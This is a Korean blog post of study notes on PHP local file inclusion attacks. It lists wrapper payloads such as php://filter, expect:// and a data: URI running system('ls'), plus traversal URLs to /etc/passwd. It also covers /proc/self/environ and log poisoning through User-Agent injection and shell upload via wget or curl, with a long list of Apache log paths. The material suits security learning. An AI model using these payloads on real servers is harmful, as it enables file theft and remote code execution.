Post

LFI

wrapper를 이용한 공격



php wrapper 정리
watchout31337.tistory.com/148
blog.ch4n3.kr/253
php.net/manual/en/wrappers.php -> 자세한 내용은 여기서 확인 가능
learn.dreamhack.io/15#40 -> DreamHack!!


image


1
2
3
4
5
6
7
8
9
10
11
12
13
php://filter/convert.base64-encode/resource=
php://filter/convert.base64-decode/resource=
php://filter/string.rot13/resource= 
php://filter/write=base64-encode/resource=
php://input

expect://command

zip://

data:text/plain, <?php system('ls') ?>

등 등 많음..


image


위 사진 출처
cdxy.me/?p=752


image


File System 함수들은 wrapper을 사용할 수 있다!!
PHP comes with many built-in wrappers for various URL-style protocols for use with the filesystem functions such as fopen(), copy(), file_exists() and filesize().


image


include, require 등의 함수도 wrapper를 사용할 수 있다.
php.adamharvey.name/manual/en/filesystem.configuration.php


물론 php.ini에서 allow_url_fopen와 include 등의 경우엔 url wrapper(http, ftp)은allow_url_include까지 켜져 있어야 가능하다.






기본 공격



1
2
3
4
5
6
7
8
9
10
11
12
13
14
1. http://www.site.com/index.php?pages=/etc/passwd
2. http://www.site.com/index.php?pages=../../../../etc/passwd
3. http://www.site.com/index.php?pages=../../../../etc/passwd%00
/etc/passwd 뒤에 %00은 널바이트로써 /etc/passwd 뒤에 붙는 쓸데없는 값들을 널바이트로 날려버림.

그 외 가능한 곳
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default





/proc/self/environ



/proc 파일 시스템 구성 요소
sonseungha.tistory.com/412


/proc/self/environ에 접근히 가능한지 확인해볼 필요가 있음.

만약 접근이 가능하다면 공격자는 공격대상인 사이트에 쉘을 올림으로서 영향력을 행사 할 수 있음.

접근이 불가능 하다면 공격자는 아마 접근이 가능한 다른 파일을 찾아야 함.

/proc/self/environ이 성공적으로 읽혀들여 졌다면 아래와 비슷한 결과들이 보일것임.


1
2
3
4
5
6
7
8
9
10
11
12
13
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, 
application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 
HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2a d7ac HTTP_HOST=www.website.com 
HTTP_REFERER=http://www.website.com/etc/passwd 

HTTP_USER_AGENT= Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fpr oc%2Fself%2Fenviron REDIRECT_STATUS=200 
REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?
view=..%2F..%2F..%2F..%2F..%2F..%2Fproc% 2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php 
SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com 
SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80


User-Agent를 burpsuite로 system 함수나 passthru함수를 이용한 PHP 코드를 넣거나 쉘을 올려 공격하는 방법.

쉘은 wget이나 curl을 이용하는 방법이 있음.
hapumee.github.io/2018/05/21/wget-vs-curl



Log files



공격자가 평범한 아파치 서버를 공격한다고 가정함.

기본적으로 아파치서버들은 access_log 라고 불리는 로그파일과 error_log 라고 불리는 로그 파일을 생성함.

만약 공격자들이 이 로그들을 이용한다면 PHP 코드를 올릴수 있음.

아래는 로그의 위치들을 예상해서 모아논 목록


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/opt/lampp/logs/access_log
/opt/lampp/logs/error_log
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/www/logs/thttpd_log
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/thttpd_log
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log

C:\apache\logs\access.log
C:\apache\logs\error.log
C:\Program Files\Apache Group\Apache\logs\access.log
C:\Program Files\Apache Group\Apache\logs\error.log
C:\program files\wamp\apache2\logs
C:\wamp\apache2\logs
C:\wamp\logs
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log


access_log와 error_log 공격 방법은 다름.

  • access_log 공격방법 -> User-Agent 변조, 안되면 REFERER 변조 등 다른 방법도 있음.

  • error_log 공격방법

    • 공격조건 : 404에러나 500에러를 내야 함.

      • 그 이유는 바로 error_log가 404에러나 500에러가 났을때 기록되기 때문임.
      • 만약 서버가 404에러나 500에러가 발생했을시 다른 에러가 나게 한다면 error_log를 이용한 LFI는 불가능.






참고자료



Link
xer0s.tistory.com/1






This post is licensed under CC BY 4.0 by the author.